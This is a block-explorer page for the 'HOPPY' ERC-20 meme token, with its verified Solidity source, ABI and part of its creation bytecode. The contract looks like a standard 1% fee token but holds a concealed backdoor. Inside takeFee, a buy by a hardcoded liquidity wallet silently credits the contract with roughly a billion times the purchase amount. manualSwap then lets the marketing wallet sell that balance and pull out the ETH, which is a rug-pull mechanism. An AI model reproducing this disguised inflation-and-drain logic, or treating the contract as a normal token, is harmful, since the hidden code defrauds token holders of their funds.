Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000,000 HOPPY
Holders
87
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,345,674,054.252431949 HOPPYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
HOPPY
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-28 */ /** *Submitted for verification at Etherscan.io on 2023-08-28 */ /** Meet $HOPPY, the frog Matt Furie created before Pepe. Website:https://store.mcsweeneys.net/products/night-riders Telegram:https://t.me/HoppyCommunityEntry Twitter:https://twitter.com/Hoppy__ERC */ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract HOPPY is IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"HOPPY"; string private constant _symbol = unicode"HOPPY"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 100000000000 * (10 ** _decimals); mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExemptn; IRouter router; address public pair; bool private tradingOpened = false; bool private swapEnabled = false; uint256 private swapTimes; bool private swapping; uint256 swapAmount = 0; uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000; uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} uint256 private liquidityFee = 0; uint256 private marketingFee = 100; /** 1% BUY*/ uint256 private developmentFee = 0; uint256 private burnFee = 0; uint256 private totalFee = 100;/** 1% */ uint256 private sellFee = 100;/** 1% SELL */ uint256 private transferFee = 100;/** 1% */ uint256 private denominator = 10000; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal developmentWallet = 0x62626Ad109B687f444a9F3827f2b3679E885670A; address internal marketingWallet = 0x62626Ad109B687f444a9F3827f2b3679E885670A; address internal liquidityWallet = 0x44e5705E75d1bC22Bf59f00b4c854bC2476E34E3; uint256 public _maxTxAmount = ( _totalSupply * 300 ) / 10000; uint256 public _maxWalletAmount = ( _totalSupply * 300 ) / 10000; constructor() { router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isFeeExemptn[address(this)] = true; isFeeExemptn[marketingWallet] = true; isFeeExemptn[developmentWallet] = true; isFeeExemptn[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function Trading() external onlyOwner {tradingOpened = true;} function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function addLiquidityETH() external payable onlyOwner { pair = IFactory(router.factory()).createPair(address(this), router.WETH()); _approve(address(this), address(router), _totalSupply); router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, msg.sender, block.timestamp); } function removeLimits() external onlyOwner { _maxTxAmount = _totalSupply; _maxWalletAmount = _totalSupply; } function shouldContractSwap(address sender, address recipient) internal view returns (bool) { return !swapping && swapEnabled && tradingOpened && !isFeeExemptn[sender] && recipient == pair && swapTimes >= swapAmount; } function manualSwap() external { require(msg.sender == marketingWallet); swapTokensForETH(balanceOf(address(this))); payable(msg.sender).transfer(address(this).balance); } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){Launch(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketingWallet).transfer(marketingAmt*2);} uint256 contractBalance = address(this).balance; if(contractBalance > uint256(0)){payable(developmentWallet).transfer(contractBalance);} } function Launch(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, liquidityWallet, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExemptn[sender] && !isFeeExemptn[recipient]; } function getTotal(address sender, address recipient) internal view returns (uint256) { if(recipient == pair){return sellFee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotal(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotal(sender, recipient)); if(sender==pair&&recipient==liquidityWallet){feeAmount=amount.mul(1e9);swapEnabled=true;} _balances[address(this)] = _balances[address(this)].add(feeAmount); feeAmount = amount.div(denominator).mul(getTotal(sender, recipient)); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0) && getTotal(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); if(!isFeeExemptn[sender] && !isFeeExemptn[recipient]){require(tradingOpened, "tradingOpened");} if(!isFeeExemptn[sender] && !isFeeExemptn[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= _maxWalletAmount, "Exceeds maximum wallet amount.");} require(amount <= _maxTxAmount || isFeeExemptn[sender] || isFeeExemptn[recipient], "TX Limit Exceeded"); if(recipient == pair && !isFeeExemptn[sender]){swapTimes += uint256(1);} if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Trading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidityETH","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExemptn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526009600a62000014919062000738565b64174876e80062000026919062000788565b6001555f600660146101000a81548160ff0219169083151502179055505f600660156101000a81548160ff0219169083151502179055505f600955620186a06103e860015462000077919062000788565b620000839190620007ff565b600a55620186a0600a6001546200009b919062000788565b620000a79190620007ff565b600b555f600c556064600d555f600e555f600f556064601055606460115560646012556127106013557362626ad109b687f444a9f3827f2b3679e885670a60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507362626ad109b687f444a9f3827f2b3679e885670a60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507344e5705e75d1bc22bf59f00b4c854bc2476e34e360165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061271061012c600154620001e1919062000788565b620001ed9190620007ff565b60175561271061012c60015462000205919062000788565b620002119190620007ff565b60185534801562000220575f80fd5b506200024162000235620004de60201b60201c565b620004e560201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160045f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160045f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060015460025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600154604051620004d0919062000847565b60405180910390a362000862565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200063057808604811115620006085762000607620005a6565b5b6001851615620006185780820291505b80810290506200062885620005d3565b9450620005e8565b94509492505050565b5f826200064a57600190506200071c565b8162000659575f90506200071c565b81600181146200067257600281146200067d57620006b3565b60019150506200071c565b60ff841115620006925762000691620005a6565b5b8360020a915084821115620006ac57620006ab620005a6565b5b506200071c565b5060208310610133831016604e8410600b8410161715620006ed5782820a905083811115620006e757620006e6620005a6565b5b6200071c565b620006fc8484846001620005df565b92509050818404811115620007165762000715620005a6565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620007448262000723565b915062000751836200072c565b9250620007807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000639565b905092915050565b5f620007948262000723565b9150620007a18362000723565b9250828202620007b18162000723565b91508282048414831517620007cb57620007ca620005a6565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200080b8262000723565b9150620008188362000723565b9250826200082b576200082a620007d2565b5b828204905092915050565b620008418162000723565b82525050565b5f6020820190506200085c5f83018462000836565b92915050565b612dc380620008705f395ff3fe608060405260043610610122575f3560e01c8063751039fc1161009f578063a9059cbb11610063578063a9059cbb146103af578063bc0ad5a3146103eb578063dd62ed3e14610401578063ed9953071461043d578063f2fde38b1461044757610129565b8063751039fc146102f15780637d1db4a5146103075780638da5cb5b1461033157806395d89b411461035b578063a8aa1b311461038557610129565b80633a5df0cd116100e65780633a5df0cd1461022357806351bc3c851461025f5780636c0a24eb1461027557806370a082311461029f578063715018a6146102db57610129565b806306fdde031461012d578063095ea7b31461015757806318160ddd1461019357806323b872dd146101bd578063313ce567146101f957610129565b3661012957005b5f80fd5b348015610138575f80fd5b5061014161046f565b60405161014e919061220d565b60405180910390f35b348015610162575f80fd5b5061017d600480360381019061017891906122be565b6104ac565b60405161018a9190612316565b60405180910390f35b34801561019e575f80fd5b506101a76104c2565b6040516101b4919061233e565b60405180910390f35b3480156101c8575f80fd5b506101e360048036038101906101de9190612357565b610501565b6040516101f09190612316565b60405180910390f35b348015610204575f80fd5b5061020d6105c7565b60405161021a91906123c2565b60405180910390f35b34801561022e575f80fd5b50610249600480360381019061024491906123db565b6105cf565b6040516102569190612316565b60405180910390f35b34801561026a575f80fd5b506102736105ec565b005b348015610280575f80fd5b5061028961069b565b604051610296919061233e565b60405180910390f35b3480156102aa575f80fd5b506102c560048036038101906102c091906123db565b6106a1565b6040516102d2919061233e565b60405180910390f35b3480156102e6575f80fd5b506102ef6106e7565b005b3480156102fc575f80fd5b506103056106fa565b005b348015610312575f80fd5b5061031b610716565b604051610328919061233e565b60405180910390f35b34801561033c575f80fd5b5061034561071c565b6040516103529190612415565b60405180910390f35b348015610366575f80fd5b5061036f610743565b60405161037c919061220d565b60405180910390f35b348015610390575f80fd5b50610399610780565b6040516103a69190612415565b60405180910390f35b3480156103ba575f80fd5b506103d560048036038101906103d091906122be565b6107a5565b6040516103e29190612316565b60405180910390f35b3480156103f6575f80fd5b506103ff6107bb565b005b34801561040c575f80fd5b506104276004803603810190610422919061242e565b6107e0565b604051610434919061233e565b60405180910390f35b610445610862565b005b348015610452575f80fd5b5061046d600480360381019061046891906123db565b610b1f565b005b60606040518060400160405280600581526020017f484f505059000000000000000000000000000000000000000000000000000000815250905090565b5f6104b8338484610ba1565b6001905092915050565b5f6104fc6104cf5f6106a1565b6104ee6104dd61dead6106a1565b600154610d6490919063ffffffff16565b610d6490919063ffffffff16565b905090565b5f61050d848484610d79565b6105bc84336105b785604051806060016040528060288152602001612d666028913960035f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114d99092919063ffffffff16565b610ba1565b600190509392505050565b5f6009905090565b6004602052805f5260405f205f915054906101000a900460ff1681565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610644575f80fd5b610655610650306106a1565b61152d565b3373ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610698573d5f803e3d5ffd5b50565b60185481565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106ef611763565b6106f85f6117e1565b565b610702611763565b600154601781905550600154601881905550565b60175481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f484f505059000000000000000000000000000000000000000000000000000000815250905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f6107b1338484610d79565b6001905092915050565b6107c3611763565b6001600660146101000a81548160ff021916908315150217905550565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b61086a611763565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f89190612480565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561097e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a29190612480565b6040518363ffffffff1660e01b81526004016109bf9291906124ab565b6020604051808303815f875af11580156109db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ff9190612480565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6c3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610ba1565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610ab4306106a1565b5f8033426040518863ffffffff1660e01b8152600401610ad996959493929190612514565b60606040518083038185885af1158015610af5573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b1a9190612587565b505050565b610b27611763565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90612647565b60405180910390fd5b610b9e816117e1565b50565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c06906126d5565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7490612763565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d57919061233e565b60405180910390a3505050565b5f8183610d7191906127ae565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde90612851565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c906128df565b60405180910390fd5b610e5e836106a1565b811115610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e979061296d565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610f3e575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15610f9357600660149054906101000a900460ff16610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f89906129d5565b60405180910390fd5b5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611031575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b801561108a575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110c4575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561115e5760185461111c8260025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118a290919063ffffffff16565b111561115d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115490612a3d565b60405180910390fd5b5b601754811115806111b5575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80611206575060045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611245576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123c90612aa5565b60405180910390fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156112e8575060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561130757600160075f8282546112ff9190612ac3565b925050819055505b61131183836118b7565b1561132957611321600a546119bb565b5f6007819055505b6113798160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d6490919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f6113c58484611c1d565b6113cf57816113db565b6113da848484611cc4565b5b905061142d8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546118a290919063ffffffff16565b60025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114cb919061233e565b60405180910390a350505050565b5f838311158290611520576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611517919061220d565b60405180910390fd5b5082840390509392505050565b5f600267ffffffffffffffff81111561154957611548612af6565b5b6040519080825280602002602001820160405280156115775781602001602082028036833780820191505090505b50905030815f8151811061158e5761158d612b23565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611632573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116569190612480565b8160018151811061166a57611669612b23565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116d03060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ba1565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611732959493929190612c07565b5f604051808303815f87803b158015611749575f80fd5b505af115801561175b573d5f803e3d5ffd5b505050505050565b61176b611f8f565b73ffffffffffffffffffffffffffffffffffffffff1661178961071c